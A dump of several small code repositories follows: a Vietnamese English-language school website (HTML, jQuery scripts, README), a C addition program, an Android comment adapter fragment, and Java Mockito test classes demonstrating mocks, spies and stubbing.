comment.save( new SaveListener<String>() {
@Override
public void done(String s, BmobException e) {
if (e==null)
{
Toast.makeText(context,"评论成功",Toast.LENGTH_SHORT).show();
notifyDataSetChanged();
}
else {
Toast.makeText(context,"网络原因,评论失败",Toast.LENGTH_SHORT).show();
commentList.remove(commentList.size()-1);
notifyDataSetChanged();
}
}
});
}
notifyDataSetChanged();
}
static class ViewHolder{
TextView comment_name;
TextView comment_content;
}
}
| 1adaf1961e37a60a44cdc4c12e33d63d63740b95 | [
"Markdown",
"Java"
] | 3 | Markdown | zhuyuhui1997/JXNUDiscuss-master | 6a93400f38954a460a92d7a01bc8cc903f79872f | 88a8caf4145d086605d8ddc0a922701679ae9032 |
refs/heads/main | <repo_name>Scopecr/Scopecr<file_sep>/calculator/calculator.c
#include <stdio.h>
#include <math.h>
int main(void)
{
int x = x;
int y = y;
printf("Enter value of x: ");
scanf("%d", &x);
printf("Enter the value of y: ");
scanf("%d", &y);
printf("the result of the sum is: %i\n", x + y);
} | 5801af15adcb112b6b6f34b8391e19d0e3139b8c | [
"C"
] | 1 | C | Scopecr/Scopecr | ad923fa4faebcd3d276435b6d9297639f5c35068 | 024f0b8ac3e6b4ae93ac1b2537d06c32ff288ecf |
refs/heads/master | <file_sep>
const btnHamburger = document.querySelector('#btnHamburger');
const body = document.querySelector('body');
const header = document.querySelector('.header');
const overlay = document.querySelector('.overlay');
const fadeElems = document.querySelectorAll('.has-fade');
const box = document.querySelectorAll('.box');
const modal = document.querySelector('.modal');
const btnOffModal = document.querySelector('.btnClose')
const courseBox = document.querySelectorAll(".course__box");
const btnShowCourseBox = document.querySelectorAll(".course__contents--btn");
const city = document.getElementById("calendars__city");
async function getProvince(url){
const listProvince = await fetch(url);
return listProvince.json();
}
getProvince('https://vapi.vnappmob.com/api/province').then(
data => data.results.map(val => {
let province = `<option id=${val.province_id} value="${val.province_name}">${val.province_name}</option>`;
$(city).append(province)
})
);
btnHamburger.addEventListener('click', function(){
//console.log('open cc');
if(header.classList.contains('open')){ //close toggle
body.classList.remove('no-scroll');
header.classList.remove('open');
fadeElems.forEach(function(element){
element.classList.remove('fade-in');
element.classList.add('fade-out');
});
}else{ //open toggle
body.classList.add('no-scroll');
header.classList.add('open');
fadeElems.forEach(function(element){
element.classList.add('fade-in');
element.classList.remove('fade-out');
});
}
});
box.forEach((element) => {
element.addEventListener('click', function(ex){
let eImg = ex.path[0].children[0].src.split("/");
let linkImg = eImg[3] + "/" + eImg[4] + "/" + eImg[5];
let eTitle = ex.path[0].children[1].children[0].innerText;
let eText = ex.path[0].children[1].children[1].innerText;
if (modal.classList.contains('has-fade-modal')){
modal.classList.add('fade-in');
modal.classList.remove('fade-out');
body.classList.add('no-scroll');
$(".modal__title").html(eTitle);
$(".modal__image").attr("src",linkImg);
$(".modal__text").html(eText);
}
//console.log(modal.children[1].children);
btnOffModal.addEventListener('click', () => {
if (modal.classList.contains('has-fade-modal')){
modal.classList.add('fade-out');
modal.classList.remove('fade-in');
body.classList.remove('no-scroll');
$(".modal__title").html("");
$(".modal__image").attr("src","");
$(".modal__text").html("");
}
});
});
})
courseBox.forEach((eleBox) => {
const eleContent = eleBox.children[2];
eleBox.addEventListener('mouseenter', (e) => {
if(eleContent.classList.contains("hover-out-toleft")){
eleContent.classList.remove("hover-out-toleft");
eleContent.classList.add("hover-in-toright");
eleContent.addEventListener('mouseenter', e => {
eleContent.classList.add("hover-in-toright");
});
}else{
eleContent.classList.add("hover-in-toright");
eleContent.addEventListener('mouseenter', e => {
eleContent.classList.add("hover-in-toright");
});
}
});
eleBox.addEventListener('mouseout', (e) => {
if(eleContent.classList.contains("hover-in-toright")){
eleContent.classList.remove("hover-in-toright");
eleContent.classList.add("hover-out-toleft");
}else{
eleContent.classList.add("hover-out-toleft");
}
});
});
// Float chat button & chat-logs
const btnShow = document.getElementById('btnshow');
const chatbox = document.querySelector('.float-chat__box');
const btnSend = document.getElementById('btnsend');
const chatlog = document.querySelector('.float-chat__logs');
btnShow.addEventListener('click', (e) => {
if(chatbox.classList.contains('floatshow')){
chatbox.classList.add('floathide');
chatbox.classList.remove('floatshow');
}else{
chatbox.classList.add('floatshow');
chatbox.classList.remove('floathide');
}
});
let input = $('#input-text');
btnSend.addEventListener('click', () => {
if(input.val()){
$('.float-chat__logs').append(
`<div class="self flex"><p>${input.val()}</p></div>`
);
chatlog.scrollTop = chatlog.scrollHeight - chatlog.clientHeight;
input.val('');
setTimeout(() => {
$('.float-chat__logs').append(
`<div class="ilg flex"><p>Cảm ơn bạn. Chúng tôi sẽ trả lời tin nhắn của bạn sớm nhất có thể.</p></div>`
);
chatlog.scrollTop = chatlog.scrollHeight - chatlog.clientHeight;
}, 500);
}
});
//
<file_sep><!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Lịch học | iLG English</title>
<link rel="icon" type="image/png" sizes="35x35" href="/images/image/logo.svg">
<link rel="stylesheet" href="/css/style.css">
<link rel="preconnect" href="https://fonts.gstatic.com">
<link rel="stylesheet" href="https://pro.fontawesome.com/releases/v5.10.0/css/all.css"
integrity="<KEY>" crossorigin="anonymous" />
<link href="https://fonts.googleapis.com/css2?family=Josefin+Sans:wght@300;400;500;700&display=swap"
rel="stylesheet">
</head>
<body>
<header class="header">
<nav class="container flex flex--jc-sb flex--ai-c center">
<a href="/" class="header__logo">
<img src="/images/image/logo.svg" alt="logo">
</a>
<a id="btnHamburger" href="#" class="header__toggle hide-for-desktop">
<span></span>
<span></span>
<span></span>
</a>
<div class="header__links hide-for-mobile">
<a href="/">Trang chủ</a>
<a href="/introduce">Giới thiệu</a>
<a href="/courses">Khoá học</a>
<a href="/calendars" class="main">Lịch học</a>
<a href="/news">Tin tức</a>
</div>
<a href="/listcourse" class="btn btn--red hide-for-mobile">
Đăng ký ngay
<span></span>
</a>
</nav>
<div class="overlay has-fade"></div>
<div class="header__menu hide-for-desktop flex has-fade">
<a href="/">Trang chủ</a>
<a href="/introduce">Giới thiệu</a>
<a href="/courses">Khoá học</a>
<a href="/calendars" class="main">Lịch học</a>
<a href="/news">Tin tức</a>
<a href="/listcourse" class="btn btn--red">Đăng ký ngay</a>
</div>
</header>
<section class="float-chat">
<div class="float-chat__box flex flex--jc-sa">
<div class="float-chat__logs">
<div class="ilg flex"><p>Chào mừng anh/chị đã đến với trung tâm ngoại ngữ iLG</p></div>
<div class="ilg flex"><p>Nếu anh chị có thắc mắc, cứ vức hết vào đây em trả lời tất.</p></div>
</div>
<div class="float-chat__cta flex flex--jc-sb">
<input id="input-text" class="float-chat__inputtext" type="text" placeholder="Nhập tin nhắn">
<div id="btnsend" class="float-chat__btnsend">Gửi</div>
</div>
</div>
<div id="btnshow" class="float-chat__btnshow">
<i class="fas fa-comments"></i>
</div>
</section>
<section class="detailcourse">
<div class="detail-news__subtitle">
<a href="/courses"><i class="far fa-newspaper"></i>Chi tiết khóa học/</a>
<p>Tiếng anh cho trẻ em</p>
</div>
<div class="detailcourse__header flex flex--jc-sb">
<img class="detailcourse__img" src="/images/image/eng-for-student.jpg" alt="img">
<div class="detailcourse__detail flex flex--jc-sb">
<div class="detailcourse__detail--text">
<h1>Mã: KTHDJF123</h1>
<p>Số người: 20</p>
<p>Số buổi: 15 buổi</p>
</div>
<div class="detailcourse__cta flex flex--jc-sb">
<a href="/register" class="btn btn--red">
Đăng ký
<span></span>
</a>
<!-- <a href="#" class="share btn btn--grey">
Chia sẻ
<span></span>
<i class="fas fa-share"></i>
</a> -->
</div>
</div>
</div>
<p class="detailcourse__content">
Lorem ipsum dolor sit, amet consectetur adipisicing elit. Molestiae corrupti delectus veritatis iusto sed voluptatibus modi quidem aut deserunt minus odio eum cupiditate maiores distinctio, quas odit, placeat vero itaque?Lorem ipsum dolor sit, amet consectetur adipisicing elit. Molestiae corrupti delectus veritatis iusto sed voluptatibus modi quidem aut deserunt minus odio eum cupiditate maiores distinctio, quas odit, placeat vero itaque?Lorem ipsum dolor sit, amet consectetur adipisicing elit. Molestiae corrupti delectus veritatis iusto sed voluptatibus modi quidem aut deserunt minus odio eum cupiditate maiores distinctio, quas odit, placeat vero itaque?<br><br>
Lorem ipsum dolor sit, amet consectetur adipisicing elit. Molestiae corrupti delectus veritatis iusto sed voluptatibus modi quidem aut deserunt minus odio eum cupiditate maiores distinctio, quas odit, placeat vero itaque?Lorem ipsum dolor sit, amet consectetur adipisicing elit. Molestiae corrupti delectus veritatis iusto sed voluptatibus modi quidem aut deserunt minus odio eum cupiditate maiores distinctio, quas odit, placeat vero itaque?Lorem ipsum dolor sit, amet consectetur adipisicing elit. Molestiae corrupti delectus veritatis iusto sed voluptatibus modi quidem aut deserunt minus odio eum cupiditate maiores distinctio, quas odit, placeat vero itaque?<br><br>
Lorem ipsum dolor sit, amet consectetur adipisicing elit. Molestiae corrupti delectus veritatis iusto sed voluptatibus modi quidem aut deserunt minus odio eum cupiditate maiores distinctio, quas odit, placeat vero itaque?Lorem ipsum dolor sit, amet consectetur adipisicing elit. Molestiae corrupti delectus veritatis iusto sed voluptatibus modi quidem aut deserunt minus odio eum cupiditate maiores distinctio, quas odit, placeat vero itaque?Lorem ipsum dolor sit, amet consectetur adipisicing elit. Molestiae corrupti delectus veritatis iusto sed voluptatibus modi quidem aut deserunt minus odio eum cupiditate maiores distinctio, quas odit, placeat vero itaque?<br><br>
</p>
</section>
<section class="review">
<h3>Đánh giá</h3>
<div class="review__comments">
<div class="review__comment">
<h4>Huấn Hoa Hồng</h4>
<p>Ra xã hội làm ăn bương chãi. Liều thì ăn nhiều, không liều thì ăn ít</p>
</div>
<div class="review__comment">
<h4>Khá Bảnh</h4>
<p>Ôi bạn ơi, ảo thật đấy :)</p>
</div>
<div class="review__comment">
<h4>Tiến Bịp</h4>
<p>Còn cái nịt =))</p>
</div>
</div>
<div class="float-chat__cta flex flex--jc-sb">
<input id="input-name" class="float-chat__inputtext" type="text" placeholder="Nhập tên...">
<input id="input-comment" class="float-chat__inputtext" type="text" placeholder="Nhập đánh giá...">
<div id="btnsendcomment" class="float-chat__btnsend">Gửi</div>
</div>
</section>
<section class="course">
<h2 class="course__title container">Khóa học khác</h2>
<div class="grid">
<a class="course__box hover-in" href="/listcourse">
<img class="course__image" src="/images/image/eng-for-student.jpg" alt="kid">
<h3 class="course__subtitle">Tiếng anh trẻ em</h3>
<div class="course__contents">
<p class="course__texts">
<span>KID</span><br>
Dành cho các bé từ 4 > 8 tuổi <br>
<span>Junior KID</span><br>
Dành cho các bé từ 8 > 14 tuổi <br>
<span>High KID</span><br>
Dành cho các bé từ 14 > 18 tuổi <br>
</p>
</div>
</a>
<a class="course__box hover-in" href="/listcourse">
<img class="course__image" src="/images/image/eng-for-junior.jpg" alt="kid">
<h3 class="course__subtitle">Tiếng anh người lớn</h3>
<div class="course__contents">
<p class="course__texts">
<span>English for Adults</span><br>
Tất cả các khoá học đều dựa trên tiêu chuẩn quốc tế về trình độ tiếng Anh.
</p>
</div>
</a>
<a class="course__box hover-in" href="/listcourse">
<img class="course__image" src="/images/image/eng-for-certificate.jpg" alt="kid">
<h3 class="course__subtitle">chứng chỉ quốc tế</h3>
<div class="course__contents">
<p class="course__texts">
<span>Global Certificates</span><br>
Tất cả các khoá học đều dựa trên tiêu chuẩn quốc tế về trình độ tiếng Anh.
</p>
</div>
</a>
<a class="course__box hover-in" href="/listcourse">
<img class="course__image" src="/images/image/eng-for-business.jpg" alt="business">
<h3 class="course__subtitle">English for Business</h3>
<div class="course__contents">
<p class="course__texts">
<span>English for Business</span><br>
Chúng tôi cung cấp chương trình đào tạo từ các khóa học tiếng Anh cơ bản tới các khóa học tiếng
Anh chuyên sâu theo ngành nghề và theo từng kỹ năng.
</p>
</div>
</a>
</div>
</section>
<footer class="footer">
<div class="flex">
<div class="footer__cta">
<h1 class="footer__title">
anh ngữ <span>iLG</span>
</h1>
<a href="/contact" class="btn btn--red">
Liên hệ
<span></span>
</a>
</div>
<div class=" flex flex-menu">
<div class="footer__menu-1">
<a href="/introduce">Giới thiệu</a>
<a href="/courses">Khoá học</a>
<a href="/news">Tin tức</a>
</div>
<div class="footer__menu-2">
<h3>CONTACT US</h3>
<a class="contact" href="ilgenglish.herokuapp.com">Website: <span>ilg.edu.vn</span></a>
<div class="contact">Phone: <span>00-000-0000</span></div>
<div class="footer__icons hide-for-mobile">
<a href="https://www.facebook.com/"><i class="fab fa-facebook-square"></i></a>
<a href="https://www.instagram.com/"><i class="fab fa-instagram"></i></a>
<a href="https://www.youtube.com/"><i class="fab fa-youtube"></i></a>
<a href="https://twitter.com/"><i class="fab fa-twitter"></i></a>
<a href="https://www.pinterest.com/"><i class="fab fa-pinterest"></i></a>
</div>
</div>
</div>
<div class="footer__icons hide-for-desktop">
<a href="https://www.facebook.com/"><i class="fab fa-facebook-square"></i></a>
<a href="https://www.instagram.com/"><i class="fab fa-instagram"></i></a>
<a href="https://www.youtube.com/"><i class="fab fa-youtube"></i></a>
<a href="https://twitter.com/"><i class="fab fa-twitter"></i></a>
<a href="https://www.pinterest.com/"><i class="fab fa-pinterest"></i></a>
</div>
</div>
</footer>
<div class="modal has-fade-modal">
<div class="modal__header">
<i class="fas fa-window-close btnClose"></i>
</div>
<div class="modal__contents flex flex--ai-c">
<h2 class="modal__title">Lorem</h2>
<img class="modal__image" src="/images/image/gioithieu2.png" alt="img">
<p class="modal__text">Lorem ipsum dolor sit amet consectetur, adipisicing elit. Reprehenderit aspernatur
distinctio laborum atque quis mollitia, magni quos voluptatibus error sint perspiciatis molestiae sit
animi dignissimos optio corrupti, vel labore nemo.</p>
</div>
<!-- <div class="modal__footer">
<button class="btnClose">Đóng</button>
</div> -->
</div>
<script src="/js/jquery.js"></script>
<script src="/js/script.js"></script>
<script src="/js/comments.js"></script>
</body>
</html><file_sep>$(function(){
$("#addHeader").load('/header.html');
});<file_sep># Run my project
Step 1: Download and install NodeJS the LTS version: https://nodejs.org/en/
Step 2: Open CMD and join in my project folder then follow me:
_ Input "npm install", press Enter to install all modules NodeJS.
_ Input "npm start", press Enter to run server NodeJS.
* Notice: Don't closed this CMD windows while server running.
If you want to change css style, open another CMD windows then follow me:
_ Input "npm run scss", press Enter to run SCSS Watcher. SCSS Watcher will auto combinding SCSS code to CSS code.
_ Then you can go editing any file SCSS in /app/scss except file style.scss
* Notice: Don't change any thing in style.scss.
Step 3: Open Chrome or any browser. Go to "localhost:3000".
Done!
# Hướng dẫn chạy project
Bước 1: Tải và cài đặt NodeJS phiên bản LTS: https://nodejs.org/en/
Bước 2: Mở CMD và điều hướng tới thư mục project sau đó nhập:
_ "npm install", nhấn Enter để cài đặt các modules của NodeJS.
_ "npm start", nhấn Enter để chạy server NodeJS.
* Lưu ý: Không tắt cửa sổ CMD này khi server đang chạy.
Nếu bạn muốn sửa đổi css, mở một cửa sổ CMD khác và gõ theo tôi:
_ "npm run scss", nhấn Enter để chạy SCSS Watcher. SCSS Watcher sẽ tự động biên dịch code SCSS sang CSS.
_ Sau đó bạn có thể sửa bất kỳ file nào trong /app/scss ngoại trừ file style.scss
* Lưu ý: Tuyệt đối không được sửa file style.scss, nếu bạn thực sự biết mình đang làm gì.
Bước 3: Mở Chrome hoặc trình duyệt bất kỳ và truy cập "localhost:3000".
Vậy là xong!
# LƯU Ý: Tại lúc đồ án hoàn thành vào ngày 24/07/2021 so với lúc vấn đáp có thể sẽ có những chức năng được cải thiện. <file_sep>const btnSendComment = document.getElementById('btnsendcomment');
const logsCmt = $('.review__comments');
const inpCmtName = $('#input-name');
const inpCmt = $('#input-comment');
btnSendComment.addEventListener('click', () => {
if(inpCmt.val() && inpCmtName.val()){
logsCmt.append(
`<div class="review__comment">
<h4>${inpCmtName.val()}</h4>
<p>${inpCmt.val()}</p>
</div>`
);
inpCmt.val('');
}
});<file_sep>// Register
const btnRegister = document.getElementById('btnRegister');
const btnCloseNotify = document.getElementById('btnCloseNotify');
const notify = document.querySelector('.notify');
const notifyContent = document.getElementById('notifyContent');
const inputRegisters = document.querySelectorAll('input');
const statusNotify = {
passColor: 'background-color: rgba(72, 219, 104, 1); color: white;',
passContent: 'Bạn đã đăng ký thành công. Trung tâm sẽ liên hệ với bạn sớm nhất để hoàn thành hồ sơ nhận lớp.',
failColor: 'background-color: rgba(255, 82, 82, 1); color: white;',
failContent: 'Vui lòng nhập đầy đủ thông tin.',
failInputColor: 'background-color: rgba(255, 82, 82, .3);',
failName: 'H<NAME> bạn nhập đúng họ tên, và cả họ tên phải hơn 4 ký tự!',
failPhone: 'Hãy đảm bảo số điện thoại được nhập đủ 10 - 11 số!',
failEmail: 'Email sai định dạng, vui lòng nhập lại!'
};
const inputName = document.getElementById('stuName');
const inputPhone = document.getElementById('phone');
const inputEmail = document.getElementById('email');
function checkName(){
let modalName = /^[a-zA-Z ]+$/;
if(inputName.value.length < 4 || !modalName.test(inputName.value)) return false;
return true;
}
function checkPhone(){
const modalPhone = /^[0-9]+$/;
if(modalPhone.test(inputPhone.value))
if(inputPhone.value.length >= 10 && inputPhone.value.length <= 11)
return true;
return false;
}
function checkEmail(){
const modalEmail = /^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9]+)*$/;
if(!modalEmail.test(inputEmail.value)) return false;
return true;
}
function setReadOnly(){
inputName.setAttribute('readonly', 'true');
inputPhone.setAttribute('readonly', 'true');
inputEmail.setAttribute('readonly', 'true');
}
function sendFailNotify(content){
setTimeout(() => {
notify.classList.add('notify-float-show');
notify.classList.remove('notify-float-hide');
notify.setAttribute('style', statusNotify.failColor);
notifyContent.innerHTML = content;
}, 600);
closeNotify();
}
function sendSuccessNotify(){
setTimeout(() => {
notify.classList.remove('notify-float-hide');
notify.classList.add('notify-float-show');
btnRegister.setAttribute('style', 'visibility: hidden;');
notify.setAttribute('style', statusNotify.passColor);
notifyContent.innerHTML = statusNotify.passContent;
}, 600);
closeNotify()
}
function setColor(input){
input.setAttribute('style', statusNotify.failInputColor);
}
function closeNotify(){
setTimeout(() => {
notify.classList.add('notify-float-hide');
notify.classList.remove('notify-float-show');
}, 3600);
}
function checkNull(){
let tam = 0;
inputRegisters.forEach((inputRegister) => {
if(!inputRegister.value && inputRegister.hasAttribute('required')){
tam = tam + 1;
inputRegister.setAttribute('style', statusNotify.failInputColor);
}else{
inputRegister.setAttribute('style', 'background-color: $white;');
}
});
if(tam != 0) return false;
return true;
}
btnRegister.addEventListener('click', async (e) => {
if(!checkNull()){
sendFailNotify(statusNotify.failContent);
}else{
if(checkName() === false){
sendFailNotify(statusNotify.failName);
setColor(inputName);
if(checkPhone() === false){
setColor(inputPhone);
}
if(checkEmail() === false){
setColor(inputEmail);
}
}else{
if(checkPhone() === false){
sendFailNotify(statusNotify.failPhone);
setColor(inputPhone);
if(!checkEmail()){
setColor(inputEmail);
}
}else{
if(!checkEmail()){
sendFailNotify(statusNotify.failEmail);
setColor(inputEmail);
}else{
setReadOnly();
sendSuccessNotify();
}
}
}
}
});<file_sep># Font
Josefin Sans: (https://fonts.google.com/specimen/Josefin+Sans?subset=vietnamese)
font-weight: 300, 400, 500, 700
# button gradient (to right)
red: #DF1212
dark-red: #750000
# text colors
white: #FFFFFF
text-red: #E20000
| ca1d6b4434ff0b82d4561fa728f152dc4a01ec3f | [
"JavaScript",
"HTML",
"Markdown"
] | 7 | JavaScript | locnguyenhuu0024/ilgenglish | 98668a28f4499f310add02c1af7f2e74da1f9d9a | f849b9c0e9cd2bd0fc7b27d679016bcc63e851ac |
refs/heads/master | <file_sep>package com.craftofprogramming;
import org.hamcrest.CoreMatchers;
import org.hamcrest.MatcherAssert;
import org.junit.jupiter.api.Assertions;
import org.junit.jupiter.api.Test;
import org.mockito.exceptions.base.MockitoException;
import static org.hamcrest.CoreMatchers.equalTo;
import static org.hamcrest.CoreMatchers.is;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.junit.jupiter.api.Assertions.assertThrows;
import static org.mockito.Mockito.mock;
import static org.mockito.Mockito.verify;
import static org.mockito.Mockito.when;
/**
* Mockito 2 limitations:
*
* 1) Can't mock static methods
* 2) Can't mock constructors
* 3) Can't mock equals(), hashCode()
* 4) Can't mock final methods/type
* 5) Can't mock private methods
*
*/
class MockableTypes {
@Test
void testFinalClass() {
// final class
final MockitoException exception = assertThrows(MockitoException.class, () -> {
mock(FinalClass.class);
});
assertThat(exception.getClass(), is(equalTo(MockitoException.class)));
}
@Test
void testInterface() {
// interface
final MyInterface myInterface = mock(MyInterface.class);
myInterface.defaultMethod();
myInterface.abstractMethod();
verify(myInterface).defaultMethod();
verify(myInterface).abstractMethod();
}
@Test
void testConcreteClass() {
final ConcreteClass concreteClass = mock(ConcreteClass.class);
concreteClass.instanceMethod();
verify(concreteClass).instanceMethod();
verify(concreteClass).finalMethod();
verify(concreteClass).privateMethod();
}
@Test
void testAbstractClass() {
final AbstractClass abstractClass = mock(AbstractClass.class);
abstractClass.concreteMethod();
verify(abstractClass).concreteMethod();
when(abstractClass.abstractMethod()).thenReturn(42);
}
/**
* Inner types declarations
*/
static final class FinalClass {
private void foo() {
System.out.println("MyFinalClass.foo");
}
}
abstract class AbstractClass {
void concreteMethod() {
System.out.println("AbstractClass.concreteMethod");
}
abstract int abstractMethod();
}
static class ConcreteClass {
void instanceMethod() {
System.out.println("ConcreteClass.instanceMethod");
}
final void finalMethod() {
System.out.println("ConcreteClass.finalMethod");
}
static void staticMethod() {
System.out.println("ConcreteClass.staticMethod");
}
static void staticMethod2() {
System.out.println("ConcreteClass.staticMethod2");
}
private void privateMethod() {
System.out.println("ConcreteClass.privateMethod");
}
}
interface MyInterface {
default void defaultMethod() {
System.out.println("myInterface.defaultMethod");
}
void abstractMethod();
static void staticMethod() {
System.out.println("myInterface.staticMethod");
}
}
}
<file_sep>package com.craftofprogramming;
import org.hamcrest.CoreMatchers;
import org.hamcrest.MatcherAssert;
import org.junit.jupiter.api.Assertions;
import org.junit.jupiter.api.Test;
import java.nio.file.Path;
import java.time.Year;
import java.util.Arrays;
import java.util.List;
import static org.hamcrest.CoreMatchers.equalTo;
import static org.hamcrest.CoreMatchers.is;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.mockito.ArgumentMatchers.any;
import static org.mockito.ArgumentMatchers.anyString;
import static org.mockito.Mockito.mock;
import static org.mockito.Mockito.verify;
import static org.mockito.Mockito.when;
class UtilsTest {
@Test
void testMethod() {
final Utils utils = mock(Utils.class);
List<Book> expect = Arrays.asList(new Book[]{new Book("Effective Java", 280, Topic.COMPUTING, Year.of(2000), "<NAME>")});
when(utils.parseLibraryFrom(any(Path.class))).thenReturn(expect);
System.out.println(utils.parseLibraryFrom(BookDAO.DEFAULT_PATH));
assertThat(utils.parseLibraryFrom(BookDAO.DEFAULT_PATH), is(equalTo(expect)));
}
@Test
void testStubbingOfException() {
final Utils utils = mock(Utils.class);
when(utils.getBook(anyString())).thenThrow(RuntimeException.class);
final RuntimeException exception = Assertions.assertThrows(RuntimeException.class, () -> {
utils.getBook("");
});
assertThat(exception.getClass(), is(equalTo(RuntimeException.class)));
}
@Test
void testMethodFoo() {
final Utils utils = mock(Utils.class);
utils.getBook("Effective Java");
utils.parseLibraryFrom(BookDAO.DEFAULT_PATH);
verify(utils).parseLibraryFrom(BookDAO.DEFAULT_PATH);
verify(utils).getBook("Effective Java");
}
}<file_sep>package com.craftofprogramming;
import org.hamcrest.CoreMatchers;
import org.hamcrest.MatcherAssert;
import org.junit.jupiter.api.Assertions;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import org.mockito.InOrder;
import org.mockito.InjectMocks;
import org.mockito.Mock;
import org.mockito.MockitoAnnotations;
import static com.craftofprogramming.LibraryService.DEFAULT_BOOK;
import static org.hamcrest.CoreMatchers.equalTo;
import static org.hamcrest.CoreMatchers.is;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.mockito.ArgumentMatchers.anyInt;
import static org.mockito.ArgumentMatchers.anyString;
import static org.mockito.Mockito.*;
/**
* Family of methods:
*
* 1) doReturn()
* 2) doThrow()
* 3) doAnswer()
* 4) doNothing()
* 5) doCallRealMethod()
*/
class GenericServiceTestOne {
@Mock
private LibraryService.DAO dao;
@Mock(name = "outLogger")
private LoggerService logger1;
@Mock(name = "errLogger")
private LoggerService logger2;
@InjectMocks
private GenericService service;
@BeforeEach
void setup() {
MockitoAnnotations.initMocks(this);
}
@Test
void testDoCallRealMethod() {
doCallRealMethod().when(dao).fetchBookById(anyInt());
when(dao.fetchBookByTitle(anyString())).thenReturn(DEFAULT_BOOK);
service.fetchBookById(42);
}
@Test
void testDoNothing() {
doNothing()
.doThrow(RuntimeException.class)
.when(dao).foo();
dao.foo();
final RuntimeException exception = Assertions.assertThrows(RuntimeException.class, () -> {
dao.foo();
});
assertThat(exception.getClass(), is(equalTo(RuntimeException.class)));
}
@Test
void testDoAnswer() {
// when(dao.fetchBookById(anyInt())).thenReturn(DEFAULT_BOOK);
doAnswer(invocation -> {
final Integer id = invocation.getArgument(0, Integer.class);
return id == 42 ? DEFAULT_BOOK : null;
}).when(dao).fetchBookById(anyInt());
final Book book = service.fetchBookById(1);
assertThat(book, is(equalTo(DEFAULT_BOOK)));
}
@Test
void testDoReturn() {
final GenericService spy = spy(service);
doNothing().when(spy).fetchBookById(anyInt());
// when(spy.fetchBookById(42)).thenReturn(LibraryService.DEFAULT_BOOK);
doReturn(DEFAULT_BOOK).when(spy).fetchBookById(42);
}
@Test
void testDoThrow() {
// when(dao.fetchBookById(anyInt())).thenThrow(RuntimeException.class);
// when(dao.foo()).thenThrow(RuntimeException.class);
doThrow(RuntimeException.class).when(dao).foo();
// doThrow(new RuntimeException()).when(dao).foo();
final RuntimeException exception = Assertions.assertThrows(RuntimeException.class, () -> {
service.fetchBookById(42);
});
assertThat(exception.getClass(), is(equalTo(RuntimeException.class)));
}
}
<file_sep>package com.craftofprogramming;
import com.craftofprogramming.LibraryService.DAO;
import org.junit.jupiter.api.Assertions;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import org.mockito.InjectMocks;
import org.mockito.Mock;
import org.mockito.MockitoAnnotations;
import org.mockito.Spy;
import static com.craftofprogramming.LibraryService.DEFAULT_BOOK;
import static org.hamcrest.CoreMatchers.equalTo;
import static org.hamcrest.CoreMatchers.is;
import static org.hamcrest.CoreMatchers.nullValue;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.mockito.ArgumentMatchers.anyInt;
import static org.mockito.ArgumentMatchers.anyString;
import static org.mockito.Mockito.doAnswer;
import static org.mockito.Mockito.doCallRealMethod;
import static org.mockito.Mockito.doNothing;
import static org.mockito.Mockito.doReturn;
import static org.mockito.Mockito.doThrow;
import static org.mockito.Mockito.spy;
import static org.mockito.Mockito.verify;
import static org.mockito.Mockito.verifyNoMoreInteractions;
import static org.mockito.Mockito.when;
class SpyTest {
@Spy
private DAO dao;
@Mock(name = "outLogger")
private LoggerService logger1;
@Mock(name = "errLogger")
private LoggerService logger2;
@InjectMocks
private GenericService service;
@BeforeEach
void setup() {
MockitoAnnotations.initMocks(this);
}
@Test
void testMethod() {
final DAO real = new DAO();
final DAO spy = spy(real);
doReturn(null).when(spy).fetchBookById(42);
final Book book = spy.fetchBookById(42);
assertThat(book, is(nullValue()));
}
@Test
void testSpy() {
// when(dao.fetchBookById(anyInt())).thenReturn(null);
doReturn(null).when(dao).fetchBookById(anyInt());
final Book book = service.fetchBook(42, "Effective Java");
assertThat(book, is(equalTo(DEFAULT_BOOK)));
verify(dao).fetchBookByTitle(anyString());
}
@Test
void testDoReturn() {
final GenericService spy = spy(service);
// when(spy.fetchBookById(42)).thenReturn(LibraryService.DEFAULT_BOOK);
doReturn(DEFAULT_BOOK).when(spy).fetchBookById(42);
}
}
<file_sep>package com.craftofprogramming;
import com.craftofprogramming.MockableTypes.ConcreteClass;
import org.junit.jupiter.api.Test;
import org.junit.runner.RunWith;
import org.powermock.api.mockito.PowerMockito;
import org.powermock.core.classloader.annotations.PrepareForTest;
import org.powermock.modules.junit4.PowerMockRunner;
@RunWith(PowerMockRunner.class)
@PrepareForTest(ConcreteClass.class)
public class StaticTypeMocking {
@Test
void testMethod() {
PowerMockito.verifyStatic(ConcreteClass.class); // 1
ConcreteClass.staticMethod();
ConcreteClass.staticMethod();
// ConcreteClass.staticMethod2();
}
}
<file_sep>package com.craftofprogramming;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import org.mockito.ArgumentMatcher;
import org.mockito.Mock;
import org.mockito.MockitoAnnotations;
import static org.hamcrest.CoreMatchers.equalTo;
import static org.hamcrest.CoreMatchers.is;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.junit.jupiter.api.Assertions.assertFalse;
import static org.junit.jupiter.api.Assertions.assertThrows;
import static org.junit.jupiter.api.Assertions.assertTrue;
import static org.mockito.ArgumentMatchers.any;
import static org.mockito.ArgumentMatchers.anyInt;
import static org.mockito.ArgumentMatchers.argThat;
import static org.mockito.ArgumentMatchers.eq;
import static org.mockito.ArgumentMatchers.isNull;
import static org.mockito.Mockito.verify;
import static org.mockito.Mockito.when;
class LibraryServiceTest {
@Mock
private LibraryService service;
@Mock
private LibraryService.DAO dao;
@BeforeEach
void setup() {
MockitoAnnotations.initMocks(this);
}
@Test
void testBasicMethodVerification() {
final LibraryService service = new LibraryService(dao);
service.hasBookWithId(42);
verify(dao).fetchBookById(anyInt());
}
@Test
void testMethodVerificationUsingLambdas() {
final LibraryService service = new LibraryService(dao);
service.hasBookWithId(42);
verify(dao).fetchBookById(argThat(argument ->argument.equals(42)));
}
@Test
